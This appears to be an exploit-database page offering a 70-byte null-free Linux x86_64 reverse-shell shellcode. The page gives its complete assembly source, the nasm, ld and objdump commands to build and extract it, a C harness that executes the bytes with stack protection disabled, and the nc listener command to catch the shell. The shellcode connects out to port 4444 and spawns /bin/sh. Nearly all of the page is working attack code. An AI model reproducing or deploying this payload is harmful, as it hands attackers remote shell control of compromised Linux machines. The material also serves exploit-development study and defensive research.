Linux/x86_64 reverse (0.0.0.0:4444/tcp) shell (/bin/sh) shellcode Vulnerability / Exploit

  /     /     /  

Exploits / Vulnerability Discovered : 2019-06-24 | Type : shellcode | Platform : linux_x86-64
This exploit / vulnerability Linux/x86_64 reverse (0.0.0.0:4444/tcp) shell (/bin/sh) shellcode is for educational purposes only and if it is used you will do on your own risk!

---

[+] Code ...

/*

Title: Linux/x86_64 - Reverse(0.0.0.0:4444/TCP)Shell(/bin/sh)- Null Free Shellcode
;Author: Aron Mihaljevic
;Architecture: Linux x86_64
;Shellcode Length: 70 bytes
;github = https://github.com/STARRBOY

compilation and execution of assembly code
-------------------------------------
nasm -felf64 reverse.nasm -o reverse.o
ld reverse.o -o reverse
---------------------------
dumping binaries
----------------------------------------------------------------------------------
for i in $(objdump -d reverse |grep "^ " |cut -f2); do echo -n '\x'$i; done;echo
----------------------------------------------------------------------------------
C program
-------------------------------------------------------------------
gcc -fno-stack-protector -z execstack reverse_tcp.c -o reverse_tcp
----------------------------------------------------------------
test:
open a terminal and run this " nc -l 0.0.0.0 4444 "

after you have done that,
open another one and run a shellcode



global _start

section .text

_start:


; create socket
; sock = socket(AF_INET, SOCK_STREAM, 0)
; AF_INET = 2
; SOCK_STREAM = 1
; syscall number 41

push 41 ;sys_socket
pop rax
push 2 ; AF_INET
pop rdi
push 1 ;SOCK_STREAM
pop rsi
xor rdx, rdx ;rdx = 0
syscall


xchg rdi, rax ;save a socket descriptor

connect:

; struct sockaddr_in addr;
; addr.sin_family = AF_INET;
; addr.sin_port = htons(4444);
; addr.sin_addr.s_addr = inet_addr("0.0.0.0");
; connect(connect_socket_fd, (struct sockaddr *)&addr, sizeof(addr));

push 2 ;sin_family = AF_INET
mov word [rsp + 2], 0x5c11 ;port = 4444
push rsp

push 42 ;sys_connect
pop rax
;rdi already contains a socket descriptor
pop rsi ;(addr.sin_port,2 bytes) push htons(4444)
push 16 ;sizeof(addr)
pop rdx
syscall

push 3 ;push counter
pop rsi
dup2loop:

; int dup2(int oldfd, int newfd);

push 33 ;dup2 syscall
pop rax
dec rsi ;next number
syscall
loopnz dup2loop ;loop

spawn_shell:

; int execve(const char *filename, char *const argv[],char *const envp[]);


xor rsi, rsi ;clear rsi
push rsi ;push null on the stack
mov rdi, 0x68732f2f6e69622f ;/bin//sh in reverse order
push rdi
push rsp
pop rdi ;stack pointer to /bin//sh
mov al, 59 ;sys_execve
cdq ;sign extend of eax
syscall

*/

#include <stdio.h>
#include <string.h>

unsigned char shellcode[]=\
"\x6a\x29\x58\x6a\x02\x5f\x6a\x01"
"\x5e\x48\x31\xd2\x0f\x05\x48\x97"
"\x6a\x02\x66\xc7\x44\x24\x02\x11"
"\x5c\x54\x6a\x2a\x58\x5e\x6a\x10"
"\x5a\x0f\x05\x6a\x03\x5e\x6a\x21"
"\x58\x48\xff\xce\x0f\x05\xe0\xf6"
"\x48\x31\xf6\x56\x48\xbf\x2f\x62"
"\x69\x6e\x2f\x2f\x73\x68\x57\x54"
"\x5f\xb0\x3b\x99\x0f\x05";


int main(){

printf("length of your shellcode is: %d\n", (int)strlen(shellcode));

int (*ret)() = (int(*)())shellcode;

ret();
}